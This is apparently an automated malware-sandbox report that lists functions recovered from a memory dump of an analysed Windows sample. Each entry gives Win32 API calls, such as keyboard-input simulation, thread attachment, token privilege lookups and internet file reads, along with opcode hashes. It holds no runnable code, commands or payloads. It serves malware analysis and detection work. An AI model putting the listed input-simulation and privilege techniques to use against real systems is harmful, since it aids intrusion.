Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 0925d2fda94406f39b30853c5f00f3aaaca540ebd07a9273f183f30a124add47
Instruction ID: 678290fb128286dda8772709b3fbd62fa42d770a28af14993c1160b92820704f
Opcode Fuzzy Hash: 0925d2fda94406f39b30853c5f00f3aaaca540ebd07a9273f183f30a124add47
Instruction Fuzzy Hash: 3D31C074AD5A08EFEB349E54CC06BE8B76AAB043D0F59C503FA10963E1C7B49D90EB41

Function 009AAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 009AABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 009AAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 009AAC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 009AACC6

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 8430640e51de1a4928f18d25049e79808613d0dd4af64e312fb2acd8e6cbf7a1
Instruction ID: 14820688e9ace3ef60cfdd696f42b992b08e98d39b10cbd2558e43187af809b8
Opcode Fuzzy Hash: 8430640e51de1a4928f18d25049e79808613d0dd4af64e312fb2acd8e6cbf7a1
Instruction Fuzzy Hash: B7311470A446196FFF258F6588087FA7BBAAB8A330F04861AE4C5921D1C3798981D7D2

Function 009D7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 009D769A
GetWindowRect.USER32(?,?), ref: 009D7710
PtInRect.USER32(?,?,009D8B89), ref: 009D7720
MessageBeep.USER32(00000000), ref: 009D778C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: cc62cadfee94b26a875aa55dd8da179da3c019c38c45c532edc082ad1d05075b
Instruction ID: 93cefd06f2ead39ea8e32428aa88017dae32c90f490a79dbb0758ba9befaab44
Opcode Fuzzy Hash: cc62cadfee94b26a875aa55dd8da179da3c019c38c45c532edc082ad1d05075b
Instruction Fuzzy Hash: 09417C34A492159FCB01CFE8C894EA9B7F9BB49314F15C5AAE5249B361E730E942CB90

Function 009D16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 009D16EB

Part of subcall function 009A3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 009A3A57
Part of subcall function 009A3A3D: GetCurrentThreadId.KERNEL32 ref: 009A3A5E
Part of subcall function 009A3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009A25B3), ref: 009A3A65

GetCaretPos.USER32(?), ref: 009D16FF
ClientToScreen.USER32(00000000,?), ref: 009D174C
GetForegroundWindow.USER32 ref: 009D1752

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 3de5ac193eb9df274e94c36878ece386ff713bd68b69041b023a4e35605e74d7
Instruction ID: df10ea597d92acb06cfe8fa0fe0fec52f666de6a7183d219a69396e9011df964
Opcode Fuzzy Hash: 3de5ac193eb9df274e94c36878ece386ff713bd68b69041b023a4e35605e74d7
Instruction Fuzzy Hash: B3314FB5D01249AFC704EFA9C881DAEBBFDEF89304B5080AAE415E7211D735DE45CBA0

Function 009ADF95 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00947620: _wcslen.LIBCMT ref: 00947625

_wcslen.LIBCMT ref: 009ADFCB
_wcslen.LIBCMT ref: 009ADFE2
_wcslen.LIBCMT ref: 009AE00D
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 009AE018

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: ae1c4b6d75a8a5ebaca570c164d4a6ea3b4f19d401c65355d675ca9877eba3ed
Instruction ID: faad096d38ff645936ff676a799dac072c0e5b159c9db6030455332174766d2c
Opcode Fuzzy Hash: ae1c4b6d75a8a5ebaca570c164d4a6ea3b4f19d401c65355d675ca9877eba3ed
Instruction Fuzzy Hash: BF21E271D41214AFCB20EFA8C982BAEB7F8EF86750F104065E805BB285D7709E40CBE1

Function 009D8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

GetCursorPos.USER32(?), ref: 009D9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00997711,?,?,?,?,?), ref: 009D9016
GetCursorPos.USER32(?), ref: 009D905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00997711,?,?,?), ref: 009D9094

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: ff8a5f5c0f9b200b037911382f09e8d7b5705e44244cf4e66d2c07df47b2cf63
Instruction ID: 880285031008f0bae505918ea34ae876cb8daf3d51c2a4ba5dd2f59c82996a49
Opcode Fuzzy Hash: ff8a5f5c0f9b200b037911382f09e8d7b5705e44244cf4e66d2c07df47b2cf63
Instruction Fuzzy Hash: 7121D135601018EFDB25EF94EC58EFA3BB9EF89351F04C156F90587261C3359990EB60

Function 009AD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,009DCB68), ref: 009AD2FB
GetLastError.KERNEL32 ref: 009AD30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 009AD319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,009DCB68), ref: 009AD376

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 41598184303fea91cb752a7c0a18b4e9777522ac6bd1c4a6abd2ff5be47f1c74
Instruction ID: cf6fad0e10e1de0c014d3f31af56b9495e32010211c34b104a8eda6dbec8694c
Opcode Fuzzy Hash: 41598184303fea91cb752a7c0a18b4e9777522ac6bd1c4a6abd2ff5be47f1c74
Instruction Fuzzy Hash: E721567054A2029F8710DF28C88196EB7E8EF97758F504A1EF4A6C72A1DB31D945CBD3

Function 009A1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 009A102A
Part of subcall function 009A1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 009A1036
Part of subcall function 009A1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009A1045
Part of subcall function 009A1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 009A104C
Part of subcall function 009A1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009A1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 009A15BE
_memcmp.LIBVCRUNTIME ref: 009A15E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A1617
HeapFree.KERNEL32(00000000), ref: 009A161E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 592bd48f9894aa4594c3d486b0246295fa646de096ae8ebd341e998d8c1d5c07
Instruction ID: 91002d1d95757c7077ff6ed25f1262db7adf2688837f88a4b900ab102c8a480a
Opcode Fuzzy Hash: 592bd48f9894aa4594c3d486b0246295fa646de096ae8ebd341e998d8c1d5c07
Instruction Fuzzy Hash: FF21AC71E41109EFDF04DFA4C949BEEB7B8EF86344F084459E441EB241E730AA45DBA0

Function 009D2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 009D280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 009D2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 009D2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 009D2840

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: f53c4cc9a66cf1145548a4ca8a92711ec2a2ed75e2fac4ecab26ff7e381661db
Instruction ID: 38195a8c68544721894e9368fc8242b6b0cecfccbc13cbfb208411d391ecc167
Opcode Fuzzy Hash: f53c4cc9a66cf1145548a4ca8a92711ec2a2ed75e2fac4ecab26ff7e381661db
Instruction Fuzzy Hash: B821D331289112AFD7149B24C844FAA7B99EF95324F14825AF4268B7E2C775FC82CB90

Function 009BCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 009BCE89
GetLastError.KERNEL32(?,00000000), ref: 009BCEEA
SetEvent.KERNEL32(?,?,00000000), ref: 009BCEFE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 04e4022b8607e73b5e8ae65b68b24d2c17cf96157113d0c890755bf3b5f7613e
Instruction ID: 269a8ac449736547499e0b46ebaff8ff334678bb6ef49bd0bb6023dd57c572bf
Opcode Fuzzy Hash: 04e4022b8607e73b5e8ae65b68b24d2c17cf96157113d0c890755bf3b5f7613e
Instruction Fuzzy Hash: 9C219DB1604306EBDB20DFA5CA48BA7B7FCEB40764F10481EE64692151E774EE44DBA4

Function 009A78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009A8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,009A790A,?,000000FF,?,009A8754,00000000,?,0000001C,?,?), ref: 009A8D8C
Part of subcall function 009A8D7D: lstrcpyW.KERNEL32(00000000,?,?,009A790A,?,000000FF,?,009A8754,00000000,?,0000001C,?,?,00000000), ref: 009A8DB2
Part of subcall function 009A8D7D: lstrcmpiW.KERNEL32(00000000,?,009A790A,?,000000FF,?,009A8754,00000000,?,0000001C,?,?), ref: 009A8DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,009A8754,00000000,?,0000001C,?,?,00000000), ref: 009A7923
lstrcpyW.KERNEL32(00000000,?,?,009A8754,00000000,?,0000001C,?,?,00000000), ref: 009A7949
lstrcmpiW.KERNEL32(00000002,cdecl,?,009A8754,00000000,?,0000001C,?,?,00000000), ref: 009A7984

Strings

cdecl, xrefs: 009A797B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 002e51508c39ae6537f96092c64d18927c4b3936ba3bc4c9c78a2bc594521c13
Instruction ID: 74be0b90bd47175bb13fda31dd773b19ab7c1ca216b7a682f8d1ec89f8cf7d63
Opcode Fuzzy Hash: 002e51508c39ae6537f96092c64d18927c4b3936ba3bc4c9c78a2bc594521c13
Instruction Fuzzy Hash: BB11063A205202AFCB159F75DC46E7BB7A9FFC6390B00402BF802C72A4EB319811D791

Function 009D7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 009D7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 009D7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 009D7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,009BB7AD,00000000), ref: 009D7D6B

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: ada34c705c7c76d853ce052dc9d850e790e6a7131a4b33c0a7f5ce00110a5a7a
Instruction ID: 162fe583d30e90d4d70826304890d5e04862803f3e64ae21d2313903287ed018
Opcode Fuzzy Hash: ada34c705c7c76d853ce052dc9d850e790e6a7131a4b33c0a7f5ce00110a5a7a
Instruction Fuzzy Hash: 4D11DF35259615AFCB108FA8CC04AA67BAAAF46370B11C726F93AC73F0E7308951DB50

Function 009D5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 009D56BB
_wcslen.LIBCMT ref: 009D56CD
_wcslen.LIBCMT ref: 009D56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 009D5816

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: a9a1b5856020c2c5754cdbd28a7f898f8ba102a5fd7f37cf461044b6ce0e000e
Instruction ID: 12c64ed8c0ee64a10662725c8b9bb76107e656e453b8736d87e9d628190d8812
Opcode Fuzzy Hash: a9a1b5856020c2c5754cdbd28a7f898f8ba102a5fd7f37cf461044b6ce0e000e
Instruction Fuzzy Hash: BD11D67568060996DF20DFA5CC85AFE776CEF50760B50C42BF915D6281EB74C984CF60

Function 00971D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c7753f580df85d3c926e00d5c955c056363826c7548be48fdd1eb31c24e891
Instruction ID: 57770161262b578130d04ede44aca188527deaa8811bbd001d1103651a14fe5a
Opcode Fuzzy Hash: 79c7753f580df85d3c926e00d5c955c056363826c7548be48fdd1eb31c24e891
Instruction Fuzzy Hash: 91018FB321A6163FFA21167C6CC1F67671CDF813B8F348326F529A11D2DB608C405560

Function 009A1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 009A1A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 009A1A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 009A1A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 009A1A8A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6c1952264417da3fbbadfd9fd1597d898c25e244ceac692c0157cc287c4897c0
Instruction ID: 265ea7a6d33e40a0e6fb9f5fa0e4c6c6b8f8f9d717ea7bfe0455253fe6fed971
Opcode Fuzzy Hash: 6c1952264417da3fbbadfd9fd1597d898c25e244ceac692c0157cc287c4897c0
Instruction Fuzzy Hash: 1D113C3AD01219FFEF10DBA4CD85FADBB78EB04750F200091E600B7290D6716E50DB94

Function 009AE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 009AE1FD
MessageBoxW.USER32(?,?,?,?), ref: 009AE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 009AE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 009AE24D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: e21fff301a0ef5b33a309128c31897b531fbebd4f46fc0d215f34804dc7aa60f
Instruction ID: 08093265a329decdd8a8b91ee7d0ada2cd9d2fcd48e6c38b1115945b3300126a
Opcode Fuzzy Hash: e21fff301a0ef5b33a309128c31897b531fbebd4f46fc0d215f34804dc7aa60f
Instruction Fuzzy Hash: 5D11C8B6909259BBC711DBE89C09BDE7FADDB46310F048256F934E7291D674890487A0

Function 0096D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,0096CFF9,00000000,00000004,00000000), ref: 0096D218
GetLastError.KERNEL32 ref: 0096D224
__dosmaperr.LIBCMT ref: 0096D22B
ResumeThread.KERNEL32(00000000), ref: 0096D249

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 449af20f23bcf3135f056e464c10ab7aa5c9efb1370df39d1227a67c8ff7f659
Instruction ID: 2f8f67c6c23b82c92f99a12e61f75b49c4935bf13c52619c027ccbf67470f209
Opcode Fuzzy Hash: 449af20f23bcf3135f056e464c10ab7aa5c9efb1370df39d1227a67c8ff7f659
Instruction Fuzzy Hash: 05012276E0A204BBCB105BA5DC19BAA7B6CEFC2330F104219F834921D0CB71C941D6A0

Function 009D9EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

GetClientRect.USER32(?,?), ref: 009D9F31
GetCursorPos.USER32(?), ref: 009D9F3B
ScreenToClient.USER32(?,?), ref: 009D9F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 009D9F7A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

